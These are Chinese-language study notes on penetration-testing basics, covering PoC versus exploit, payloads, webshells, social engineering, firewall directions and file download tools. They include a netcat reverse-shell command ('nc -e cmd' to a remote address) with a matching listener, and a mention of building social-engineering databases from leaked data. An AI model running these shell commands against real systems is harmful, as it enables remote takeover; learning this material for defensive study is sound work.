渗透基础知识

POC：利用/证明代码，发现漏洞     EXP：留下漏洞攻击

木马：留下，操作控制电脑               病毒：破坏性，正常文件无法打开 

payload：有效负载，真正需要执行的代码,管道

PoC通常是无害的，Exp通常是有害的，有了POC，才有EXP。

Payload有很多种，它可以是Shellcode，也可以直接是一段系统命令。同一个Payload可以用于多个漏洞，但每个漏洞都有其自己的EXP，也就是说不存在通用的EXP。

shellcode：payload一种，而exp类似,漏洞

回显

后门 webshell，    反弹：权限转移     黑盒子测试：只有目标

白盒子测试：网站，代码已经知道      跳板：中介

社会工程学：人为的弱点，信任，密码，泄漏的数据库，收集搭建平台，形成社工库，利用漏洞点，搞诈骗一样吸引 

个人计算机：主要是以win10和win7现在出现了win11，那么个人计算机主要是解决自己的日常问题

服务器用机：加设应用和网站  linux系统，Windows2008系统，windows2012，window是2016还要乌班图系统

命令：Windows/Linux（网上查）

文件权限：提高权限，获取更多的资料，删除更改  修改权限：拒绝比同意更优先，用户和组，组管所有的用户，如果要改，组需要改

服务权限：

防火墙：默认自带的防火墙

内网：真正意义上组织：看协议！！！

出战：出去（很宽松）

入站：别人进来（外人连接你）（很严格）

实例：文件上传下载————解决无图形化/数据传输

Windows：powershell  certutil 

Linux：wget +网址：下载文件  curl

反弹shell  --解决数据回显，解决数据通讯

交互式：等待应答，webshell无法交互

虚拟机相当于是内网

内网可以连接到

外网连接不到内网

虚拟机发送权限给这个网址C\nc -e cmd 网址

本机可监听        C:\>nc     - lvvp  5577

权限交换，在电脑上的操作如同在虚拟机上操作

ipconfig  内网

Linux找Windows 入站

正向/反向连接

尽量让别人出来